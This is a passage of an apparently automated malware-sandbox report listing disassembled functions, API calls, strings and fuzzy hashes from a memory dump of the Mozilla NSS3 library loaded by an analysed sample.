PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C73AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C73AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C73B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C73B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C73B041

Strings

C_SignMessage, xrefs: 6C73AF41
pSignature = 0x%p, xrefs: 6C73B023
pulSignatureLen = 0x%p, xrefs: 6C73B03C
pData = 0x%p, xrefs: 6C73AFEF
ulDataLen = %d, xrefs: 6C73B00A
hSession = 0x%x, xrefs: 6C73AF5E, 6C73AF6E
pParameter = 0x%p, xrefs: 6C73AFB9
ulParameterLen = 0x%p, xrefs: 6C73AFD4
(CK_INVALID_HANDLE), xrefs: 6C73AF7C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 935a883cf4fb29e9bd7df06bc2c5863f055b6fd8e5d365302f0ac29d3d05daf2
Instruction ID: 2a8690727917bfef1fb13c0214f31028a2c8f32183d96be49c625f10b30fd78e
Opcode Fuzzy Hash: 935a883cf4fb29e9bd7df06bc2c5863f055b6fd8e5d365302f0ac29d3d05daf2
Instruction Fuzzy Hash: 3841E435605025AFDB208F54DF4CEA937B5AB4235DF086474F4085BB12C73CA858DBE5

Function 6C729FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C729FBE

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C72A015

Part of subcall function 6C741940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C74563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C74195C
Part of subcall function 6C741940: EnterCriticalSection.KERNEL32(?,?,6C74563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C71EAC5,00000001), ref: 6C741970
Part of subcall function 6C741940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C71EAC5,00000001,?,6C71CE9B,00000001,6C71EAC5), ref: 6C7419A0

PL_FreeArenaPool.NSS3(?), ref: 6C72A067
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A055

Part of subcall function 6C684C70: TlsGetValue.KERNEL32(?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684C97
Part of subcall function 6C684C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CB0
Part of subcall function 6C684C70: PR_Unlock.NSS3(?,?,?,?,?,6C683921,6C8614E4,6C7CCC70), ref: 6C684CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72A07E
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C72A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C72A0CF
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C72A12E
PL_FreeArenaPool.NSS3(?), ref: 6C72A140
PL_FinishArenaPool.NSS3(?), ref: 6C72A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72A158
PL_FinishArenaPool.NSS3(?), ref: 6C72A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C72A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72A1B2
free.MOZGLUE(00000000), ref: 6C72A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C72A1D6

Part of subcall function 6C7455E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C71EAC5,00000001,?,6C71CE9B,00000001,6C71EAC5,00000003,-00000004,00000000,?,6C71EAC5), ref: 6C745627
Part of subcall function 6C7455E0: PR_CallOnce.NSS3(6C862AA4,6C7612D0,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001,?,6C71CE9B), ref: 6C74564F
Part of subcall function 6C7455E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001), ref: 6C745661
Part of subcall function 6C7455E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C71EAC5), ref: 6C7456AF

Strings

security, xrefs: 6C72A00F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 7c5ea18f8b2eceaccda2e83d16c2abe5a7a581e4b0ac2f94994206a362a78d2a
Instruction ID: 1620236d9b8a0839a4283a5213d079e2d61476764bc2ebf6729e53b663de702d
Opcode Fuzzy Hash: 7c5ea18f8b2eceaccda2e83d16c2abe5a7a581e4b0ac2f94994206a362a78d2a
Instruction Fuzzy Hash: FC512AB1E00205ABEB109BA5DF4CBAEB379AF4576CF104034E805AAB41F779D609C792

Function 6C744C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C744C4C
EnterCriticalSection.KERNEL32(?), ref: 6C744C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C744CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C744DB7

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

TlsGetValue.KERNEL32 ref: 6C744DD7
EnterCriticalSection.KERNEL32(?), ref: 6C744DEC
PR_Unlock.NSS3(?), ref: 6C744E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C744E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C744E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C744E71
free.MOZGLUE(00000000), ref: 6C744E7A
PR_Unlock.NSS3(?), ref: 6C744EA2
TlsGetValue.KERNEL32 ref: 6C744EC1
EnterCriticalSection.KERNEL32(?), ref: 6C744ED6
PR_Unlock.NSS3(?), ref: 6C744F01
free.MOZGLUE(00000000), ref: 6C744F2A

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: ddbc292f4e6ba06b94ce3cbdfb291df7b4b938dc948710057c40906b822d1aa6
Instruction ID: b7453952d36d14c6f3ef9c351b111d2f27e1c8f188b9aa2b2aaa198cd598e68c
Opcode Fuzzy Hash: ddbc292f4e6ba06b94ce3cbdfb291df7b4b938dc948710057c40906b822d1aa6
Instruction Fuzzy Hash: 8BB123B5A002069FDB11EF68D949AAA77B4BF0931CF048134ED1597B01EB34E961EFD2

Function 6C74FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFB4

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFC6

Part of subcall function 6C7C98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7C9946
Part of subcall function 6C7C98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6816B7,00000000), ref: 6C7C994E
Part of subcall function 6C7C98D0: free.MOZGLUE(00000000), ref: 6C7C995E

PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFD6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFE6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C74FFF6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750006
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750016
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750026
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750036
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750046
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750056
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750066
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750076
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750086
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C750096
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500A6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500B6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500C6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500D6
PR_NewLock.NSS3(?,?,6C7476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7175C2,00000000), ref: 6C7500E6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: cab7c0a23c0de3bebc808f919dd6b48dde540dd7d7217340b5499cb146d79ae1
Instruction ID: 3bd386fbaf1eb874b50ec6f93dcce54a888cec56a6c0d0e4750aa6b5330b956a
Opcode Fuzzy Hash: cab7c0a23c0de3bebc808f919dd6b48dde540dd7d7217340b5499cb146d79ae1
Instruction Fuzzy Hash: 9831F1F1F01626DE8BA5DF27828C16A3AF4B726B4CB1061BAD11487750DB7C014ACFD6

Function 6C796E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C796BF7), ref: 6C796EB6

Part of subcall function 6C6F1240: TlsGetValue.KERNEL32(00000040,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1267
Part of subcall function 6C6F1240: EnterCriticalSection.KERNEL32(?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F127C
Part of subcall function 6C6F1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F1291
Part of subcall function 6C6F1240: PR_Unlock.NSS3(?,?,?,?,6C6F116C,NSPR_LOG_MODULES), ref: 6C6F12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C83FC0A,6C796BF7), ref: 6C796ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C796EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C796EFC
PR_NewLock.NSS3 ref: 6C796F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C796F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C796BF7), ref: 6C796F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C796BF7), ref: 6C796F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C796BF7), ref: 6C796FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C796BF7), ref: 6C796FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C796FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C796F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C796EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C796FF8
SSLKEYLOGFILE, xrefs: 6C796EB1
SSLFORCELOCKS, xrefs: 6C796F2B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 9b0e442ef13fe34a1a91171820f702f1378e3572e5c9c7af173729bf1f89edd1
Instruction ID: b0dcc9a79554812cf0857b29131c004cd8051b391977c1d62ab5e583000b0569
Opcode Fuzzy Hash: 9b0e442ef13fe34a1a91171820f702f1378e3572e5c9c7af173729bf1f89edd1
Instruction Fuzzy Hash: F8A12BB2A599C087E760863DEE0135432B2AB9332EF588775E931C7ED5DB799440C3CA

Function 6C715DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C715DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C715E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C715E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C715E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C715EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C715ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C715F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C715F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C715F89
free.MOZGLUE(?), ref: 6C715FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C715FB6
free.MOZGLUE(00000000), ref: 6C715FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C71600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C716079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C716084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C716094

Strings

, xrefs: 6C715EEB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 695986754f6c231ba3fc36c3deff84f383a94ee3e62f1d43996aa69d5fc5d4e6
Instruction ID: b94ccac621357197893be13492317e0f8dcc34067423928a216b2ce39a1021cc
Opcode Fuzzy Hash: 695986754f6c231ba3fc36c3deff84f383a94ee3e62f1d43996aa69d5fc5d4e6
Instruction Fuzzy Hash: E68117B1E082059BDB548E64EE89B9E77B9AF05318F1C4138E819A7F81E731D908CBD1

Function 6C736D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C736D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736DC3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C736DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C736E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C736E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C736E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C736EB9

Strings

C_Digest, xrefs: 6C736D81
*pulDigestLen = 0x%x, xrefs: 6C736EB4
pData = 0x%p, xrefs: 6C736DF5
ulDataLen = %d, xrefs: 6C736E0E
pDigest = 0x%p, xrefs: 6C736E27
pulDigestLen = 0x%p, xrefs: 6C736E42
hSession = 0x%x, xrefs: 6C736D9E, 6C736DAE
(CK_INVALID_HANDLE), xrefs: 6C736DBC

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 06b9d34c023a35b11c90064add2789638d3fd039590d6dadc22c31a93e92c3fb
Instruction ID: ac4cd96a87c3888e2e0e5bc1269d9067983875434e357b305cc1d7ba469ed869
Opcode Fuzzy Hash: 06b9d34c023a35b11c90064add2789638d3fd039590d6dadc22c31a93e92c3fb
Instruction Fuzzy Hash: E141E635605025AFDB219B55CE4DE6A3BB5BB4230CF046474F8099BB13DB38A958CBD2

Function 6C739C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C739C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739CA3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C739CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C739CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C739D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C739D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C739D42

Strings

pPin = 0x%p, xrefs: 6C739CF0
userType = 0x%x, xrefs: 6C739CD5
ulPinLen = %d, xrefs: 6C739D0B
C_LoginUser, xrefs: 6C739C61
pUsername = 0x%p, xrefs: 6C739D24
ulUsernameLen = %d, xrefs: 6C739D3D
hSession = 0x%x, xrefs: 6C739C7E, 6C739C8E
(CK_INVALID_HANDLE), xrefs: 6C739C9C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 3e5b224960560c18deeabc443af5e71a4859300c018ae191c204348c7976a228
Instruction ID: ed919dd97fa37b5914555c78183de323d5c20778ace3cf8d78d834640f39b5ad
Opcode Fuzzy Hash: 3e5b224960560c18deeabc443af5e71a4859300c018ae191c204348c7976a228
Instruction Fuzzy Hash: 41411631605025ABDB218F55DF4EE6A3BB6AB5230DF446474F40D5BB13CB38A818CBD1

Function 6C6F1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C6F2007
calloc.MOZGLUE(00000001,00000084), ref: 6C6F2077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6F20DF
TlsSetValue.KERNEL32(00000000), ref: 6C6F2188
PR_NewCondVar.NSS3 ref: 6C6F21B7
calloc.MOZGLUE(00000001,00000084), ref: 6C6F221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6F22C2
GetLastError.KERNEL32 ref: 6C6F22CD
free.MOZGLUE(00000000), ref: 6C6F22DD

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
